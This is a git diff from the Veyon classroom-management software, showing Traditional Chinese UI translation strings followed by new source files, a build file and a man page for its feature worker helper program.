透過命名內文自動組態基礎 DN + + + Query objects from LDAP directory + 從 LDAP 目錄查詢物件 + + + Show help about command + 顯示命令的說明 + + + Commands for configuring and testing LDAP/AD integration + 組態和測試 LDAP/AD 整合的命命 + + + Provide LDAP/AD integration for Veyon + 提供 Veyon 的 LDAP/AD 整合 + + + LDAP (load computers and rooms from LDAP/AD) + LDAP (從 LDAP/AD 載入電腦和教室) + + + LDAP (load users and groups from LDAP/AD) + LDAP (從 LDAP/AD 載入本機使用者和群組) + + + + LicensingConfigurationPage + + Licensing + 授權 + + + Installed licenses + 已安裝的授權 + + + Add new network range + 加入新的網路範圍 + + + Remove selected network range + 刪除選取的網路範圍 + + + ID + ID + + + Feature + 功能 + + + Valid until + 有效期至 + + + Licensee + 授權 + + + Browse license file + 瀏覽授權檔 + + + Veyon license files (*.vlf) + Veyon 授權檔案 (*.vlf) + + + Remove license + 移除授權 + + + Do you really want to remove the selected license? + 是否真的要移除選取的授權? + + + <N/A> + <不適用> + + + Invalid license file + 授權檔無效 + + + Could not open the license file for reading! + 無法開啟授權檔來讀取! + + + The selected license file does not contain valid data. + 選取的授權檔不包含有效資料。 + + + The selected license file could not be verified. + 無法驗證選取的授權檔。 + + + The selected license file is not valid for this installation. + 選取的授權檔對此安裝無效。 + + + The selected license file is expired. + 選取的授權檔已過期。 + + + The license is already installed. + 授權已安裝。 + + + + LicensingPlugin + + Show help for specific command + 顯示指定命令的說明 + + + Show all installed licenses + 顯示所有已安裝的授權 + + + Add license file + 加入授權檔 + + + Remove installed license + 移除已安裝的授權 + + + +USAGE + +%1 add <LICENSE FILE> + + + +用法 + +%1 add <LICENSE FILE> + + + + + +USAGE + +%1 remove <LICENSE ID> + + + +用法 + +%1 remove <LICENSE ID> + + + + + No certificate found with given ID + 找不到具有給予 ID 的憑證 + + + <N/A> + <不適用> + + + Licensing management + 授權管理 + + + Commands for managing license keys + 用於管理授權金鑰的命令 + + + + LinuxPlatformPlugin + + Plugin implementing abstract functions for the Linux platform + 外掛程式實現 Linux 平臺的抽象函數 + + + + MainToolBar + + Configuration + 組態 + + + Disable balloon tooltips + 停用氣球工具提示 + + + Show icons only + 只顯示圖示 + + + + MainWindow + + MainWindow + 主視窗 + + + toolBar + 工具列 + + + General + 一般 + + + &File + 檔案(&F) + + + &Help + 說明(&H) + + + &Quit + 離開(&Q) + + + Ctrl+Q + Ctrl+Q + + + Ctrl+S + Ctrl+S + + + L&oad settings from file + 從檔案載入設定(&O) + + + Ctrl+O + Ctrl+O + + + About Qt + 關於 Qt + + + Authentication impossible + 無法驗證 + + + Configuration not writable + 組態無法寫入 + + + Load settings from file + 從檔案載入設定 + + + Save settings to file + 將設定存到檔案 + + + Unsaved settings + 未儲存的設定 + + + There are unsaved settings. Quit anyway? + 有尚未儲存的設定。 仍要離開嗎? + + + Veyon Configurator + Veyon 組態器 + + + Service + 服務 + + + Master + 主要 + + + Access control + 存取控制 + + + About Veyon + 關於 Veyon + + + Auto + 自動 + + + Computer rooms + 電腦教室 + + + About + 關於 + + + %1 Configurator %2 + %1 組態器 %2 + + + JSON files (*.json) + JSON 檔 (*.json) + + + The local configuration backend reported that the configuration is not writable! Please run the %1 Configurator with higher privileges. + 本機組態後台報告組態不可寫入! 請以較高特權執行 %1 組態器。 + + + No authentication key files were found or your current ones are outdated. Please create new key files using the %1 Configurator. Alternatively set up logon authentication using the %1 Configurator. Otherwise you won't be able to access computers using %1. + 找不到驗證金鑰檔或目前的已過時。 請使用 %1 組態器建立新的金鑰檔。 或者使用 %1 組態器設定登入驗證。 否則您將無法使用 %1 存取電腦。 + + + Access denied + 拒絕存取 + + + According to the local configuration you're not allowed to access computers in the network. Please log in with a different account or let your system administrator check the local configuration. + 根據本機組態您不允許存取網路中的電腦。 請使用不同的帳戶登入,或讓您的系統管理員檢查本機組態。 + + + Screenshots + 螢幕快照 + + + Feature active + 特色活動 + + + The feature "%1" is still active. Please stop it before closing %2. + 功能 "%1" 仍使用中。 請先停止它再關閉 %2。 + + + Reset configuration + 重設組態 + + + Do you really want to reset the local configuration and revert all settings to their defaults? + 您確定要重設本機組態並恢復所有設定為其預設值嗎? + + + Search users and computers + 搜尋使用者和電腦 + + + Adjust optimal size + 調整最佳大小 + + + Align computers to grid + 將電腦對齊格線 + + + Use custom computer placement + 使用自訂電腦位置 + + + %1 Configurator + %1 組態器 + + + Insufficient privileges + 權限不足 + + + Could not start with administrative privileges. Please make sure a sudo-like program is installed for your desktop environment! The program will be run with normal user privileges. + 無法以管理特權啟動。 請確認為您的桌面環境安裝類似于 sudo 的程式! 程式將以正常使用者特權執行。 + + + Only show powered on computers + 只顯示開機的電腦 + + + &Save settings to file + 將設定儲存到檔案(&S) + + + &View + + + + &Standard + + + + &Advanced + + + + + MasterConfigurationPage + + Directories + 目錄 + + + ... + ... + + + User configuration + 使用者組態 + + + Feature on computer double click: + 功能在電腦上按兩下: + + + Automatically switch to current room at start + 啟動時自動切換到目前的教室 + + + Features + 功能 + + + All features + 所有功能 + + + Disabled features + 停用的功能 + + + Perform access control at program start + 程式啟動時執行存取控制 + + + Screenshots + 螢幕快照 + + + <no feature> + <沒有功能> + + + Automatically adjust computer thumbnail size at start + 啟動時自動調整電腦縮圖大小 + + + Basic settings + 基本設定 + + + Behaviour + 行為 + + + Enforce selected mode for client computers + 對用戶端電腦強制選取的模式 + + + Only show current room + 只顯示目前教室 + + + Allow adding rooms manually + 手動允許加入教室 + + + Hide local computer + 隱藏本機電腦 + + + Hide empty rooms + 隱藏空的教室 + + + Hide computer filter field + 隱藏電腦篩選欄位 + + + Actions such as rebooting or powering down computers + 動作比如重新啟動或關閉電腦 + + + Show confirmation dialog for potential dangerous actions + 顯示潛在危險動作的確認對話方塊 + + + User interface + 使用者介面 + + + Background color + 背景色 + + + Thumbnail update interval + 縮圖更新間隔 + + + ms + 毫秒 + + + Program start + 程式啟動 + + + Modes and features + 模式和功能 + + + User and computer name + 使用者和電腦名稱 + + + Only user name + 僅使用者名稱 + + + Only computer name + 僅電腦名稱 + + + Computer thumbnail caption + 電腦縮圖標題 + + + Computer rooms + 電腦教室 + + + Automatically open computer rooms widget + 自動開啟電腦教室小工具 + + + Text color + 文字色彩 + + + Sort order + 排序 + + + Computer and user name + 電腦和使用者名稱 + + + + MonitoringMode + + Monitoring + 監視 + + + Builtin monitoring mode + 內建監視模式 + + + This is the default mode and allows you to monitor all computers in one or more rooms. + 這是預設模式,允許您監視在一個或數個教室的所有電腦。 + + + + NetworkDiscoveryConfigurationPage + + Network discovery + 網路探索 + + + Mode + 模式 + + + Scan network ranges + 掃描網路範圍 + + + e.g. 192.168.1.0/24 + 例如: 192.168.1.0/24 + + + Scan all subnets of computer + 掃描電腦的所有子網路 + + + Scan custom subnet + 掃描自訂子網路 + + + Scan sessions on local computer + 掃描本機電腦上的工作階段 + + + Test + 測試 + + + Network ranges + 網路範圍 + + + Add new group + 加入新群組 + + + Remove selected group + 刪除選取的群組 + + + Groups + 群組 + + + First address + 第一個位址 + + + Last address + 最後位址 + + + Add new network range + 加入新的網路範圍 + + + Remove selected network range + 刪除選取的網路範圍 + + + Parallel scans + 並行掃描 + + + Scan timeout + 掃描逾時 + + + ms + 毫秒 + + + Session scan limit + 工作階段掃描限制 + + + New group + 新群組 + + + Options + 選項 + + + Reverse lookup discovered IP addresses to host names + 反向對應發現的主機名稱的 IP 位址 + + + + NetworkDiscoveryDirectory + + Scanning... + 正在掃描... + + + Discovered computers + 發現的電腦 + + + + NetworkDiscoveryPlugin + + Show help for specific command + 顯示指定命令的說明 + + + Scan a subnet + 掃描子網路 + + + +USAGE + +%1 scan [<SUBNET>] + + + +用法 + +%1 scan [<子網路>] + + + + + Network object directory which automatically discovers computers in the network + 自動探索網路中的電腦的網路物件目錄 + + + Network discovery (scan network for Veyon clients) + 網路探索 (掃描 Veyon 用戶端的網路) + + + Commands for managing the network discovery directory + 用於管理網路探索目錄的命令 + + + + NetworkObjectTreeModel + + Room/Computer + 教室/電腦 + + + + PasswordDialog + + Username + 使用者名稱 + + + Password + 密碼 + + + Veyon Logon + Veyon 登入 + + + Authentication error + 驗證錯誤 + + + Logon failed with given username and password. Please try again! + 以給予的使用者名稱和密碼登入失敗。 請再試一次! + + + Please enter your username and password in order to access computers. + 請輸入您的使用者名稱和密碼才能存取電腦。 + + + + PowerControlFeaturePlugin + + Power on + 開機 + + + Click this button to power on all computers. This way you do not have to power on each computer by hand. + 按一下這個按鈕以開啟所有電腦的電源。 這種方式,您不需要手動開啟每部電腦電源。 + + + Reboot + 重新開機 + + + Click this button to reboot all computers. + 按一下這個按鈕以重新開機所有電腦。 + + + Power down + 關機 + + + Click this button to power down all computers. This way you do not have to power down each computer by hand. + 按一下這個按鈕以關閉所有電腦的電源。 這種方式,您不需要手動關閉每部電腦電源。 + + + Power on/down or reboot a computer + 開啟/關閉電源或重新啟動電腦 + + + Confirm reboot + 確認重新啟動 + + + Confirm power down + 確認關機 + + + Do you really want to reboot the selected computers? + 您確定要重新啟動選取的電腦嗎? + + + Do you really want to power down the selected computer? + 您確定要關閉選取的電腦嗎? + + + Power on a computer via Wake-on-LAN (WOL) + 透過 Wake-on-LAN (WOL) 開啟電腦電源 + + + MAC ADDRESS + MAC 位址 + + + This command broadcasts a Wake-on-LAN (WOL) packet to the network in order to power on the computer with the given MAC address. + 這個命令將 Wake-on-LAN (WOL) 封包廣播到網路,以便使用給予的 MAC 位址開啟電腦電源。 + + + Please specify the command to display help for! + 請指定顯示說明的命令! + + + Invalid MAC address specified! + 指定的 MAC 位址無效! + + + Commands for controlling power status of computers + 用於控制電腦電源狀態的命令 + + + + RemoteAccessFeaturePlugin + + Remote view + 遠端檢視 + + + Open a remote view for a computer without interaction. + 開啟電腦的遠端檢視,而不需互動。 + + + Remote control + 遠端控制 + + + Open a remote control window for a computer. + 開啟電腦的遠端控制視窗。 + + + Remote access + 遠端存取 + + + Remote view or control a computer + 遠端檢視或控制電腦 + + + Please enter the hostname or IP address of the computer to access: + 請輸入主機名稱或電腦的 IP 位址來存取: + + + Show help about command + 顯示命令的說明 + + + + RemoteAccessWidget + + %1 - %2 Remote Access + %1 - %2 遠端存取 + + + + RemoteAccessWidgetToolBar + + View only + 只有檢視 + + + Remote control + 遠端控制 + + + Send shortcut + 傳送快速鍵 + + + Fullscreen + 全螢幕 + + + Window + 視窗 + + + Quit + 離開 + + + Ctrl+Alt+Del + Ctrl+Alt+Del + + + Ctrl+Esc + Ctrl+Esc + + + Alt+Tab + Alt+Tab + + + Alt+F4 + Alt+F4 + + + Win+Tab + Win+Tab + + + Win + Win + + + Menu + 功能表 + + + Alt+Ctrl+F1 + Alt+Ctrl+F1 + + + Connecting %1 + 正在連線 %1 + + + Connected. + 已連線。 + + + Screenshot + 螢幕快照 + + + + RoomSelectionDialog + + Room selection + 教室選擇 + + + enter search filter... + 請輸入搜尋篩選器... + + + + Routing + + Control internet access by modifying routing table + 透過修改路由表控制 Internet 存取 + + + + RoutingConfigurationWidget + + Remove default routes to block internet access + 移除預設路由以封鎖 Internet 存取 + + + Add custom route to block internet + 加入自訂路由以封鎖 Internet + + + Destination + 目的地 + + + Gateway + 閘道 + + + + RunProgramDialog + + Please enter the programs or commands to run on the selected computer(s). You can separate multiple programs/commands by line. + 請輸入程式或在選取電腦上執行的命令。 您可以用行分隔多個程式/命令。 + + + Run programs + 執行程式 + + + e.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + 例如: "C:\Program Files\VideoLAN\VLC\vlc.exe" + + + + ScreenLockFeaturePlugin + + Lock + 鎖定 + + + Unlock + 解鎖 + + + Lock screen and input devices of a computer + 鎖定電腦的螢幕和輸入裝置 + + + To reclaim all user's full attention you can lock their computers using this button. In this mode all input devices are locked and the screens are blacked. + 若要收回所有使用者的完全注意,您可以使用此按鈕鎖定其電腦。 在這種模式下,所有的輸入設備鎖定和畫面全黑。 + + + + Screenshot + + unknown + 未知 + + + Could not take a screenshot as directory %1 doesn't exist and couldn't be created. + 無法取得螢幕快照,因為目錄 %1 不存在且無法建立。 + + + Screenshot + 螢幕快照 + + + + ScreenshotFeaturePlugin + + Screenshot + 螢幕快照 + + + Use this function to take a screenshot of selected computers. + 使用此功能來取得選取電腦的螢幕快照。 + + + Screenshots taken + 螢幕快照已取得 + + + Screenshot of %1 computer have been taken successfully. + 取得 %1 電腦的螢幕快照成功。 + + + Take screenshots of computers and save them locally. + 取得電腦螢幕快照並儲存在本機。 + + + + ScreenshotManagementView + + User: + 使用者: + + + Date: + 日期: + + + Time: + 時間: + + + Show + 顯示 + + + Delete + 刪除 + + + All screenshots taken by you are listed here. You can take screenshots by clicking the "Screenshot" item in the context menu of a computer. The screenshots can be managed using the buttons below. + 這裡列出所有您取得的螢幕快照。 您可以在電腦的內容功能表中按一下「螢幕快照」項目來取得螢幕快照。 能使用下面的按鈕來管理螢幕快照。 + + + Computer: + 電腦: + + + + ServiceConfigurationPage + + General + 一般 + + + Autostart + 自動啟動 + + + Hide tray icon + 隱藏通知區域圖示 + + + Start service + 啟動服務 + + + Stopped + 已停止 + + + Stop service + 停止服務 + + + State: + 狀態: + + + Enable SAS generation by software (Ctrl+Alt+Del) + 透過軟體啟用 SAS 世代 (Ctrl+Alt+Del) + + + Network + 網路 + + + Demo server port + 展示伺服器連接埠 + + + Enable firewall exception + 啟用防火牆例外 + + + Allow connections from localhost only + 只允許來自 localhost 的連線 + + + Internal VNC server port + 內部的 VNC 伺服器埠 + + + VNC server + VNC 伺服器 + + + Plugin: + 外掛程式: + + + Restart %1 Service + 重新啟動 %1 服務 + + + All settings were saved successfully. In order to take effect the %1 service needs to be restarted. Restart it now? + 已成功儲存所有的設定。 為了生效 %1 服務需要重新啟動。 立即重新啟動它? + + + Running + 執行中 + + + Feature manager port + 功能管理埠 + + + Primary service port + 主服務埠 + + + Enabling this option will make the service launch a server process for every interactive session on a computer. +Typically this is required to support terminal servers. + 啟用這個選項將使服務為電腦上的每個互動式工作階段啟動伺服器處理程序。 +通常,這是支援終端機伺服器所必需的。 + + + Multi session support (experimental) + 多工作階段支援 (實驗性) + + + Show notification on remote connection + 遠端連線時顯示通知 + + + Show notification on failed authentication attempts + 嘗試身份驗證失敗時顯示通知 + + + + ServiceControl + + Starting service %1 + 正在啟動服務 %1 + + + Stopping service %1 + 正在停止服務 %1 + + + Registering service %1 + 註冊服務 %1 + + + Unregistering service %1 + 取消註冊服務 %1 + + + Service control + 服務控制 + + + + ServiceControlPlugin + + Service is running + 服務正在執行 + + + Service is not running + 服務未執行 + + + Configure and control Veyon service + 組態和控制 Veyon 服務 + + + Register Veyon Service + 註冊 Veyon 服務 + + + Unregister Veyon Service + 取消註冊 Veyon 服務 + + + Start Veyon Service + 啟動 Veyon 服務 + + + Stop Veyon Service + 停止 Veyon 服務 + + + Restart Veyon Service + 重新啟動 Veyon 服務 + + + Query status of Veyon Service + 查詢 Veyon 服務的狀態 + + + Commands for configuring and controlling Veyon Service + 組態和控制 Veyon 服務的命令 + + + + ShellCommandLinePlugin + + Run command file + 執行命令列 + + + File "%1" does not exist! + 檔案 "%1" 不存在! + + + Interactive shell and script execution for Veyon Control + Veyon Control 的交互式殼層和指令碼執行 + + + Commands for shell functionalities + 殼層功能的命令 + + + + SystemTrayIcon + + System tray icon + 系統通知區域圖示 + + + + SystemUserGroupsPlugin + + User groups backend for system user groups + 系統使用者群組的使用者群組後台 + + + Default (system user groups) + 預設值 (系統使用者群組) + + + + TextMessageDialog + + Send text message + 傳送文字訊息 + + + Use the field below to type your message which will be sent to all selected users. + 使用下列欄位輸入您要傳送給所有選取使用者的訊息。 + + + + TextMessageFeaturePlugin + + Text message + 文字訊息 + + + Use this function to send a text message to all users e.g. to assign them new tasks. + 使用此函數來向所有使用者傳送文字訊息,例如要向其分配新任務。 + + + Message from teacher + 來自老師的訊息 + + + Send a message to a user + 向使用者傳送訊息 + + + + UltraVncConfigurationWidget + + Enable capturing of layered (semi-transparent) windows + 開啟多層次 (半透明) 視窗擷取 + + + Poll full screen (leave this enabled per default) + 輪詢全螢幕(預設開啓) + + + Low accuracy (turbo mode) + 低精確度 (快速模式) + + + Builtin UltraVNC server configuration + 內建 UltraVNC 伺服器組態 + + + Enable multi monitor support + + + + Enable Desktop Duplication Engine on Windows 8 and newer + + + + + UserConfig + + No write access + 沒有寫入存取 + + + Could not save your personal settings! Please check the user configuration file path using the %1 Configurator. + 無法儲存您的個人設定 ! 請檢查使用 %1 組態的使用者設定檔路徑。 + + + + UserSessionControl + + User session control + 使用者工作階段控制 + + + Click this button to logout users from all computers. + 按一下這個按鈕從所有電腦登出使用者。 + + + Confirm user logout + 確認使用者登出 + + + Do you really want to logout the selected users? + 您確定要登出選取的使用者嗎? + + + Logout + 登出 + + + + VeyonCore + + [OK] + [正常] + + + [FAIL] + [失敗] + + + Invalid command! + 命令無效! + + + Available commands: + 可用命令: + + + Invalid arguments given + 給予的引數無效 + + + Not enough arguments given - use "%1 help" for more information + 給予的引數不夠 - 使用「%1 說明」取得更多資訊 + + + Unknown result! + 未知結果! + + + Available modules: + 可用模組: + + + No module specified or module not found - available modules are: + 未指定模組或找不到模組 - 可用模組為: + + + Plugin not licensed + 外掛程式未授權 + + + INFO + 資訊 + + + ERROR + 錯誤 + + + licensed for + 授權於 + + + + VeyonServiceControl + + Veyon Service + Veyon 服務 + + + + VncView + + Establishing connection to %1 ... + 建立連線到 %1 ... + + + + WindowsPlatformPlugin + + Plugin implementing abstract functions for the Windows platform + 執行 Windows 平臺的抽象函數的外掛程式 + + + + WindowsServiceControl + + WindowsServiceControl: the service "%1" is already installed. + WindowsServiceControl: 服務 "%1" 已經安裝。 + + + WindowsServiceControl: the service "%1" could not be installed. + WindowsServiceControl: 無法安裝服務 "%1"。 + + + WindowsServiceControl: the service "%1" has been installed successfully. + WindowsServiceControl: 服務 "%1" 安裝成功。 + + + WindowsServiceControl: the service "%1" could not be uninstalled. + WindowsServiceControl: 無法解除安裝服務 "%1"。 + + + WindowsServiceControl: the service "%1" has been uninstalled successfully. + WindowsServiceControl: 服務 "%1" 解除安裝成功。 + + + WindowsServiceControl: the start type of service "%1" could not be changed. + WindowsServiceControl: 無法變更服務 "%1" 的啟動類型。 + + + WindowsServiceControl: service "%1" could not be found. + WindowsServiceControl: 找不到服務 "%1"。 + + + + X11VncConfigurationWidget + + Builtin x11vnc server configuration + 內建 x11vnc 伺服器組態 + + + Custom x11vnc parameters: + 自訂 x11vnc 參數: + + + Do not use X Damage extension + 不使用 X Damage 擴充功能 + + + \ No newline at end of file diff --git a/worker/CMakeLists.txt b/worker/CMakeLists.txt new file mode 100644 index 0000000..0ae1c1f --- /dev/null +++ b/worker/CMakeLists.txt @@ -0,0 +1,17 @@ +INCLUDE(WindowsBuildHelpers) + +FILE(GLOB worker_INCLUDES ${CMAKE_CURRENT_SOURCE_DIR}/src/*.h) +FILE(GLOB worker_SOURCES ${CMAKE_CURRENT_SOURCE_DIR}/src/*.cpp) + +QT5_WRAP_CPP(worker_MOC_out ${worker_INCLUDES}) + +INCLUDE_DIRECTORIES(${CMAKE_CURRENT_BINARY_DIR} ${CMAKE_CURRENT_SOURCE_DIR}/src) +ADD_EXECUTABLE(veyon-worker ${worker_UIC_out} ${worker_SOURCES} ${worker_INCLUDES} ${worker_MOC_out}) +TARGET_LINK_LIBRARIES(veyon-worker veyon-core Qt5::Network) + +ADD_WINDOWS_RESOURCE(veyon-worker) +MAKE_GRAPHICAL_APP(veyon-worker) + +INSTALL(TARGETS veyon-worker RUNTIME DESTINATION bin) + +COTIRE_VEYON(veyon-worker) diff --git a/worker/src/FeatureWorkerManagerConnection.cpp b/worker/src/FeatureWorkerManagerConnection.cpp new file mode 100644 index 0000000..be4cb83 --- /dev/null +++ b/worker/src/FeatureWorkerManagerConnection.cpp @@ -0,0 +1,78 @@ +/* + * FeatureWorkerManagerConnection.cpp - class which handles communication between service and feature + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include + +#include "FeatureManager.h" +#include "FeatureWorkerManagerConnection.h" +#include "VeyonConfiguration.h" + + +FeatureWorkerManagerConnection::FeatureWorkerManagerConnection( VeyonWorkerInterface& worker, + FeatureManager& featureManager, + Feature::Uid featureUid, + QObject* parent ) : + QObject( parent ), + m_worker( worker ), + m_featureManager( featureManager ), + m_socket( this ), + m_featureUid( featureUid ) +{ + connect( &m_socket, &QTcpSocket::connected, + this, &FeatureWorkerManagerConnection::sendInitMessage ); + + connect( &m_socket, &QTcpSocket::disconnected, + QCoreApplication::instance(), &QCoreApplication::quit ); + + connect( &m_socket, &QTcpSocket::readyRead, + this, &FeatureWorkerManagerConnection::receiveMessage ); + + m_socket.connectToHost( QHostAddress::LocalHost, + static_cast( VeyonCore::config().featureWorkerManagerPort() + VeyonCore::sessionId() ) ); +} + + + +void FeatureWorkerManagerConnection::sendInitMessage() +{ + qDebug() << Q_FUNC_INFO << m_featureUid; + + FeatureMessage( m_featureUid, FeatureMessage::InitCommand ).send( &m_socket ); +} + + + +void FeatureWorkerManagerConnection::receiveMessage() +{ + FeatureMessage featureMessage( &m_socket ); + + while( featureMessage.isReadyForReceive() ) + { + if( featureMessage.receive() ) + { + m_featureManager.handleFeatureMessage( m_worker, featureMessage ); + } + } +} diff --git a/worker/src/FeatureWorkerManagerConnection.h b/worker/src/FeatureWorkerManagerConnection.h new file mode 100644 index 0000000..7cd7c93 --- /dev/null +++ b/worker/src/FeatureWorkerManagerConnection.h @@ -0,0 +1,57 @@ +/* + * FeatureWorkerManagerConnection.h - class which handles communication between worker manager and worker + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef FEATURE_WORKER_MANAGER_CONNECTION_H +#define FEATURE_WORKER_MANAGER_CONNECTION_H + +#include + +#include "Feature.h" + +class FeatureManager; +class VeyonWorkerInterface; + +class FeatureWorkerManagerConnection : public QObject +{ + Q_OBJECT +public: + FeatureWorkerManagerConnection( VeyonWorkerInterface& worker, + FeatureManager& featureManager, + Feature::Uid featureUid, + QObject* parent = nullptr ); + + +private slots: + void sendInitMessage(); + void receiveMessage(); + +private: + VeyonWorkerInterface& m_worker; + FeatureManager& m_featureManager; + QTcpSocket m_socket; + Feature::Uid m_featureUid; + +} ; + +#endif diff --git a/worker/src/VeyonWorker.cpp b/worker/src/VeyonWorker.cpp new file mode 100644 index 0000000..0f183af --- /dev/null +++ b/worker/src/VeyonWorker.cpp @@ -0,0 +1,63 @@ +/* + * VeyonWorker.cpp - basic implementation of Veyon Worker + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include + +#include "FeatureWorkerManagerConnection.h" +#include "VeyonConfiguration.h" +#include "VeyonWorker.h" + + +VeyonWorker::VeyonWorker( const QString& featureUid, QObject* parent ) : + QObject( parent ), + m_core( QCoreApplication::instance(), + QStringLiteral( "FeatureWorker-" ) + VeyonCore::formattedUuid( featureUid ) ), + m_builtinFeatures(), + m_featureManager(), + m_workerManagerConnection( nullptr ) +{ + const Feature* workerFeature = nullptr; + + for( const auto& feature : m_featureManager.features() ) + { + if( feature.uid() == featureUid ) + { + workerFeature = &feature; + } + } + + if( workerFeature == nullptr ) + { + qFatal( "Could not find specified feature" ); + } + + if( m_core.config().disabledFeatures().contains( featureUid ) ) + { + qFatal( "Specified feature is disabled by configuration!" ); + } + + m_workerManagerConnection = new FeatureWorkerManagerConnection( *this, m_featureManager, featureUid, this ); + + qInfo() << "Running worker for feature" << workerFeature->displayName(); +} diff --git a/worker/src/VeyonWorker.h b/worker/src/VeyonWorker.h new file mode 100644 index 0000000..0bf592b --- /dev/null +++ b/worker/src/VeyonWorker.h @@ -0,0 +1,48 @@ +/* + * VeyonWorker.h - basic implementation of Veyon Worker + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef VEYON_WORKER_H +#define VEYON_WORKER_H + +#include "BuiltinFeatures.h" +#include "FeatureManager.h" +#include "VeyonWorkerInterface.h" + +class FeatureWorkerManagerConnection; + +class VeyonWorker : public QObject, VeyonWorkerInterface +{ + Q_OBJECT +public: + VeyonWorker( const QString& featureUid, QObject* parent = nullptr ); + +private: + VeyonCore m_core; + BuiltinFeatures m_builtinFeatures; + FeatureManager m_featureManager; + FeatureWorkerManagerConnection* m_workerManagerConnection; + +} ; + +#endif diff --git a/worker/src/main.cpp b/worker/src/main.cpp new file mode 100644 index 0000000..282d135 --- /dev/null +++ b/worker/src/main.cpp @@ -0,0 +1,51 @@ +/* + * main.cpp - main file for Veyon Feature Worker + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include + +#include "VeyonWorker.h" + + +int main( int argc, char **argv ) +{ + QApplication app( argc, argv ); + app.setWindowIcon( QIcon( QStringLiteral(":/resources/icon64.png") ) ); + + const auto arguments = app.arguments(); + + if( arguments.count() < 2 ) + { + qFatal( "Not enough arguments (feature)" ); + } + + const auto featureUid = arguments[1]; + if( QUuid( featureUid ).isNull() ) + { + qFatal( "Invalid feature UID given" ); + } + + VeyonWorker worker( featureUid ); + + return app.exec(); +} diff --git a/worker/veyon-worker.1 b/worker/veyon-worker.1 new file mode 100644 index 0000000..b75d4e6 --- /dev/null +++ b/worker/veyon-worker.1 @@ -0,0 +1,45 @@ +.\" Hey, EMACS: -*- nroff -*- +.\" First parameter, NAME, should be all caps +.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection +.\" other parameters are allowed: see man(7), man(1) +.TH VEYON-WORKER 1 2018-12-05 Veyon +.\" Please adjust this date whenever revising the manpage. +.\" +.\" Some roff macros, for reference: +.\" .nh disable hyphenation +.\" .hy enable hyphenation +.\" .ad l left justify +.\" .ad b justify to both left and right margins +.\" .nf disable filling +.\" .fi enable filling +.\" .br insert line break +.\" .sp insert n+1 empty lines +.\" for manpage-specific macros, see man(7) +.SH NAME +veyon-worker \- Veyon Worker +.SH SYNOPSIS +.B veyon-worker +.br +.SH DESCRIPTION +.PP +.\" TeX users may be more comfortable with the \fB\fP and +.\" \fI\fP escape sequences to invode bold face and italics, +.\" respectively. + +\fBVEYON-WORKER\fR is helper program started by the server to provide +specific functions in an isolated environment or in the context of the +user that is currently logged in. Those specific functions include the +demo server for the teacher computer and the demo client on the student +computers. + +.SH SEE ALSO +veyon-server(1), veyon-master(1), veyon-configurator(1), veyon-auth-helper(8) +.PP +https://veyon.io/ + +.SH AUTHOR +Veyon has been written by Tobias Junghans. +.PP +This manual page has been written by Tobias Junghans and Mike Gabriel. It +was originally written for the Debian project (but may be used by +others). diff --git a/worker/veyon-worker.rc.in b/worker/veyon-worker.rc.in new file mode 100644 index 0000000..7cee460 --- /dev/null +++ b/worker/veyon-worker.rc.in @@ -0,0 +1,25 @@ +#include + +VS_VERSION_INFO VERSIONINFO + FILEVERSION @VERSION_MAJOR@,@VERSION_MINOR@,@VERSION_PATCH@,@VERSION_BUILD@ + FILEFLAGSMASK VS_FFI_FILEFLAGSMASK + FILEOS VOS_NT_WINDOWS32 + 